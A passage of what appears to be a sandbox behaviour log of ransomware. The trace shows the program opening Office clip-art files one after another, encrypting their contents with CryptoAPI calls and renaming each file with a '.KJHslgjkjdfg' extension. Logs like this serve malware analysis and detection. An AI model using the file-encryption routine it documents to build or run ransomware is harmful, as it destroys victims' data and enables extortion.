phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.240] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3586, lpOverlapped=0x0) returned 1 [0179.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3590, dwBufLen=0x3590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3590) returned 1 [0179.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.241] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3590, lpOverlapped=0x0) returned 1 [0179.241] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.241] SetEndOfFile (hFile=0x114) returned 1 [0179.244] GetProcessHeap () returned 0x2a0000 [0179.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.244] GetProcessHeap () returned 0x2a0000 [0179.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.kjhslgjkjdfg")) returned 1 [0179.246] CloseHandle (hObject=0x114) returned 1 [0179.246] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0179.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.247] GetProcessHeap () returned 0x2a0000 [0179.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.247] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.247] GetProcessHeap () returned 0x2a0000 [0179.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.247] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.249] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.250] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.250] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.250] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.250] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.250] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.250] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b00, lpOverlapped=0x0) returned 1 [0179.251] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b00) returned 1 [0179.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.251] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b00, lpOverlapped=0x0) returned 1 [0179.251] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.251] SetEndOfFile (hFile=0x114) returned 1 [0179.254] GetProcessHeap () returned 0x2a0000 [0179.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.254] GetProcessHeap () returned 0x2a0000 [0179.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.kjhslgjkjdfg")) returned 1 [0179.256] CloseHandle (hObject=0x114) returned 1 [0179.256] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0179.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.258] GetProcessHeap () returned 0x2a0000 [0179.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.258] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.258] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.258] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.261] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.261] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.261] GetProcessHeap () returned 0x2a0000 [0179.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.261] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.261] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.261] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.261] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.261] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.262] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.262] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.262] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x164c, lpOverlapped=0x0) returned 1 [0179.263] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1650, dwBufLen=0x1650 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1650) returned 1 [0179.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.263] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1650, lpOverlapped=0x0) returned 1 [0179.263] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.263] SetEndOfFile (hFile=0x114) returned 1 [0179.266] GetProcessHeap () returned 0x2a0000 [0179.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.266] GetProcessHeap () returned 0x2a0000 [0179.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.kjhslgjkjdfg")) returned 1 [0179.267] CloseHandle (hObject=0x114) returned 1 [0179.268] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0179.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.268] GetProcessHeap () returned 0x2a0000 [0179.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.269] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.269] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.269] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0179.273] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.273] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.273] GetProcessHeap () returned 0x2a0000 [0179.273] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.273] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.273] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.273] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.273] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.273] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.273] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.273] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.273] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.273] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.274] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.274] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9d26, lpOverlapped=0x0) returned 1 [0179.275] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d30) returned 1 [0179.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.276] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9d30, lpOverlapped=0x0) returned 1 [0179.276] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.276] SetEndOfFile (hFile=0x114) returned 1 [0179.279] GetProcessHeap () returned 0x2a0000 [0179.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.279] GetProcessHeap () returned 0x2a0000 [0179.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.kjhslgjkjdfg")) returned 1 [0179.372] CloseHandle (hObject=0x114) returned 1 [0179.372] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0179.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.374] GetProcessHeap () returned 0x2a0000 [0179.374] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.374] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.374] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.377] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.377] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.377] GetProcessHeap () returned 0x2a0000 [0179.377] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.377] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.377] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.377] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.377] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.377] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.378] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.378] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.378] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.378] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x668c, lpOverlapped=0x0) returned 1 [0179.379] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6690, dwBufLen=0x6690 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6690) returned 1 [0179.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.380] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6690, lpOverlapped=0x0) returned 1 [0179.381] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.381] SetEndOfFile (hFile=0x114) returned 1 [0179.384] GetProcessHeap () returned 0x2a0000 [0179.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.384] GetProcessHeap () returned 0x2a0000 [0179.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 